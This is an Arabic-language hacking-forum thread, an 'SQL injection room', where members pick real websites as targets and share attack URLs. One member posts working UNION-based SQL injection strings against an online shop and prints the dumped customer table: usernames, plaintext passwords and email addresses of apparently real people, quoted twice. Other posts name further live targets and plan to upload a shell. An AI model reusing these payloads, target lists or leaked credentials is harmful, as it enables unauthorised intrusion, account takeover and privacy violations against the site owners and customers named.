غرفة حقن قواعد البيانات {غرفة Sql }

[d4rK-h4ck3r]

اقتباس المشاركة الأصلية كتبت بواسطة عبد الله ر طيب اسمحولي ان اضع لكم الهدف الجديد http://www.dosbrothers.com ما بعتقد ان هذا الهدف صعب بس حيكون مثل راحة بعد الهدف السابق هههههه معلش شباب بس هذا الهدف حيكون تسلية لكم هههه والله يا شباب الهدف السابق لم اوفق به كثيرا ياريت لو حدا منكم يعمل شرح ع السريع او هيك شي عن هذا النوع من الاهداف قصدي (level 3) ههه وفقكم الله

http://www.dosbrothers.com/opis.php?...m+adder_user--

[d4rK-h4ck3r]

http://www.dosbrothers.com/opis.php?...m+adder_user--

[darkman.dz]

اقتباس المشاركة الأصلية كتبت بواسطة عبد الله ر اخي Syst3m-32 خود راحنك....... والله ياشباب انا ما كان قصدي اني خلي حدا يزعل بس والله ما حبيت ان تكملو الموضوع بدوني لاني بهالحالة ما كنت اقدر اكمل معاكم بس ان شاء الله بشفلي كم درس وخاصة درس الاخ Syst3m-32 وبرجع بقوة باذن واحد احد بالنسبة للاخ ooooo_darkman_ooooo حقنة سليمة 100% الله يعطيك العافية انا بحثا عن لوحة تحكم ولقيت هذه http://www.dosbrothers.com/admin.php بس ما يطلع فيها غير -> ما بعرف ليش هههه مو مشكلة شباب اما للأخ العزيز Master vbspiders مو مشكلة ابدا , اصلا نحنا صرنا بالصفحة الـ 16 وبظن صار لازم نرفع المستوى عن المستوى الاول شوي مهيك اخي لان الواحد لما بدو يخترق موقع حاطه بالو ما بيعرف قديش ح تكون صعوبته ☺ انا بظن ان هذه الغرقة هي افضل واحسن طريقة لكي نتدرب ونتعلم فن الحقن وبمستوياته (السهل ., المتوسط.., الصعب...) الله يجزيكم الخير ويعطيكم العافية

ههههههههههههههههههههههه
بالنسبة للوحة نفس الشيئ حدث معي ...........نفس المسار طلعتو و ظهر نفس ناتج المسار
هههههههههههههههههههههههههههههه

[darkman.dz]

هذا هو الهدف الجديد
وحقيقة أنا ما قدرت أكمل الحقنة :cry[1]:
ولو حد من اللإخوة قدر يكملها يا ريت يحطلنا فيديو حتى تعم الفائدة
وهذا هو الرابط

http://www.petmour.com/productos.php?CAT=-120+union+sElEct+version%28%29,2+from+information_schema.columns--

[Master vbspiders]

اقتباس المشاركة الأصلية كتبت بواسطة ooooo_darkman_ooooo هذا هو الهدف الجديد وحقيقة أنا ما قدرت أكمل الحقنة :cry[1]: ولو حد من اللإخوة قدر يكملها يا ريت يحطلنا فيديو حتى تعم الفائدة وهذا هو الرابط http://www.petmour.com/productos.php?CAT=-120+union+sElEct+version%28%29,2+from+information_schema.columns--

كل ما بحاول احقنو بيطلع معي : Not Acceptable
ننتظر البقية ممكن يقدرو يحقنوه
تحياتي

[kanvi]

اقتباس المشاركة الأصلية كتبت بواسطة Master vbspiders كل ما بحاول احقنو بيطلع معي : Not Acceptable ننتظر البقية ممكن يقدرو يحقنوه تحياتي

تفضل اخي تم حقن الموقع:

هذه الحقنة 1:

كود PHP:

http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+CoNCaT(TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa),2+FrOm+information_ScHeMa.CoLuMns+where+CoLuMn_NaMe+LIKE+CHAR(37, 112, 97, 115, 37)-- 


استخرجنا منها :
clientes:cli_password:petmour_petmourdbs

الحقنة الثانية:

كود PHP:

http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT%28TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa%29,2+FrOm+information_ScHeMa.CoLuMns+where+TaBlE_NaMe=0x636c69656e746573-- 


استخرجنا منها:

كود PHP:

clientes:cli_id:petmour_petmourdbs,
 clientes:cli_login:petmour_petmourdbs,
 clientes:cli_password:petmour_petmourdbs,
 clientes:cli_nombres:petmour_petmourdbs,
 clientes:cli_apellidos:petmour_petmourdbs,
 clientes:cli_email:petmour_petmourdbs,
 clientes:cli_direccion1:petmour_petmourdbs,
 clientes:cli_direccion2:petmour_petmourdbs,
 clientes:cli_telefono 


الحقنة النهائية:

كود PHP:

http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT(cli_login,0x3a,cli_password,0x3a,cli_email),2+FrOm+clientes-- 


وهذه البسوردات واميلات الموجدة:

كود PHP:

monbas:moni3651:moniqbastidas@hotmail.com,
 joguiss:homero:johanna701@hotmail.com,
 cayarce:CIRILO1301:pecoco@gmail.com,
 luish:fercho:gerencia@softcellcorp.com,
 pelusa:wallis:marlen_7vr@hotmail.com,
 rgergerger:hrdp7822:ffdf@op.net,
 vhanessa:1130610222:vhanessa_velasquez@hotmail.com,
 carito2908:heraldo2102:k-roline2908@hotmail.com,
 SarayViana:lusa2719:sarayviana@hotmail.com,
 jairo:12345:dr_cazapata@hotmail.com,
 EDWIN J RODRIGUE:DAZZLE:shark_ejr5@hotmail.com,
 Ivette:1802:ivettealtuzarra@hotmail.com,
 cazapata:12345:dr_cazapata@hotmail.com,
 pelusa04:wallis(1990):marlen_7vr@hotmail.com,
 maddy1107:871228:lalocamade@hotmail.com,
 lore:310310:petunia16_18@hotmail.com,
 anabolenar:a23317338:anabolenarestrepo@hotmail.com,
 martha cadena:marcecaca:marthaccc@yahoo.com,
 ramona:181006pai:posadagloria123@yahoo.com,
 natik:3260125:natalia_rincon@msn.com,
 Paola:susy1981:parg1525@hotmail.com,
 LEONOR GONZALEZ:17081967:gerencia-segl@hotmail.com,
 natalie:hanna:natacobo@hotmail.com,
 constanza rios:*conn1e:lucascon82@gmail.com,
 S3T:tazmania:martinpapaleo@hotmai 


[darkman.dz]

تحية عطرة للأخ kanvi
لقد وجد الحقنة الصحيحة
و إستعمل الفلترة الصحيحة

[عبد الله ر]

اقتباس هذا هو الهدف الجديد وحقيقة أنا ما قدرت أكمل الحقنة ولو حد من اللإخوة قدر يكملها يا ريت يحطلنا فيديو حتى تعم الفائدة وهذا هو الرابط كود: http://www.petmour.com/productos.php...hema.columns--

مرحبا اخي ooooo_darkman_ooooo

انا جربت احقن الموقع ونجحت بذلك
بس والله سبقني الاخ kanvi بوضع الحل
مو مشكلة ان شاء الله المرة الجاية هههه

[darkman.dz]

عبد الله ر
=============
هههههههههههههههه
أنا فقط نسيت نفلتر ال table_name
و ال column_name
و ال table_schema
ههههههههههههههههههههههههههههههه

[Master vbspiders]

اقتباس المشاركة الأصلية كتبت بواسطة kanvi تفضل اخي تم حقن الموقع: هذه الحقنة 1: كود PHP: http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+CoNCaT(TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa),2+FrOm+information_ScHeMa.CoLuMns+where+CoLuMn_NaMe+LIKE+CHAR(37, 112, 97, 115, 37)--  استخرجنا منها : clientes:cli_password:petmour_petmourdbs الحقنة الثانية: كود PHP: http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT%28TaBlE_NaMe,0x3a,CoLuMn_NaMe,0x3a,TaBlE_ScHeMa%29,2+FrOm+information_ScHeMa.CoLuMns+where+TaBlE_NaMe=0x636c69656e746573--  استخرجنا منها: كود PHP: clientes:cli_id:petmour_petmourdbs,  clientes:cli_login:petmour_petmourdbs,  clientes:cli_password:petmour_petmourdbs,  clientes:cli_nombres:petmour_petmourdbs,  clientes:cli_apellidos:petmour_petmourdbs,  clientes:cli_email:petmour_petmourdbs,  clientes:cli_direccion1:petmour_petmourdbs,  clientes:cli_direccion2:petmour_petmourdbs,  clientes:cli_telefono  الحقنة النهائية: كود PHP: http://www.petmour.com/productos.php?CAT=-120+UnIoN+SeLECT+group_CoNCaT(cli_login,0x3a,cli_password,0x3a,cli_email),2+FrOm+clientes--  وهذه البسوردات واميلات الموجدة: كود PHP: monbas:moni3651:moniqbastidas@hotmail.com,  joguiss:homero:johanna701@hotmail.com,  cayarce:CIRILO1301:pecoco@gmail.com,  luish:fercho:gerencia@softcellcorp.com,  pelusa:wallis:marlen_7vr@hotmail.com,  rgergerger:hrdp7822:ffdf@op.net,  vhanessa:1130610222:vhanessa_velasquez@hotmail.com,  carito2908:heraldo2102:k-roline2908@hotmail.com,  SarayViana:lusa2719:sarayviana@hotmail.com,  jairo:12345:dr_cazapata@hotmail.com,  EDWIN J RODRIGUE:DAZZLE:shark_ejr5@hotmail.com,  Ivette:1802:ivettealtuzarra@hotmail.com,  cazapata:12345:dr_cazapata@hotmail.com,  pelusa04:wallis(1990):marlen_7vr@hotmail.com,  maddy1107:871228:lalocamade@hotmail.com,  lore:310310:petunia16_18@hotmail.com,  anabolenar:a23317338:anabolenarestrepo@hotmail.com,  martha cadena:marcecaca:marthaccc@yahoo.com,  ramona:181006pai:posadagloria123@yahoo.com,  natik:3260125:natalia_rincon@msn.com,  Paola:susy1981:parg1525@hotmail.com,  LEONOR GONZALEZ:17081967:gerencia-segl@hotmail.com,  natalie:hanna:natacobo@hotmail.com,  constanza rios:*conn1e:lucascon82@gmail.com,  S3T:tazmania:martinpapaleo@hotmai

بطل والله
واصل
نورت الغرفة بمرورك...
تحياتي

[darkman.dz]

هل من أحد يضع الهدف الجديد أو أضع أنا

[Amine_92]

مشككوووووووووووووور

[darkman.dz]

قبل وضع الهذف الجديد حبيت أنبهكم أنو فيه شيئ مهم بالنسبة لهذا الموقع راح نرفع عليه شل بكل راح لو الأعضاء شغلة مخهم شوية
وهو هذا
Powered-by: PHP/4.4.8
إصدار الphp هو 4
يعني فيه أمل أننا نحيي ثغرة قديمة وفتاكة قد إنقرضت بإذن الله
و اللي لازم تعرفوه على هذا الموقع أنه لايوجد فيه
1- عمود باس .........يعني لا ضير في أننا نستخدم برنامج havij
2- لوحة التحكم م أجدها
وهذا هو الموقع

http://www.hcjz.hr

[TIKTAKram]

آسف أخي ما عندي الوقت لهذا الموقع و الله

لأني بعمل الآن شرح على الموقع فيديو لكم أنتم

المهم...! مع الأول حاولت لكن لما تبين لي أن الموقع لغته غير مفهومة

و عدد الجداول كثيرة ما يعني لازم تجربهم كلهم لأن اللغة غير مفهومة من وين راح تعرف لي فيه الباسوارد يعني لازم تجربهم كلهم

إن شاء الله لما اكمل الفيديو أحاول فيه

بالتوفيق

[Mr-YouPli]

شفتكم ناعسين

تفضلوا هذا الموقع به تغرة سهلة

http://rebeccaallen.com/v2/work/work.php?ID=1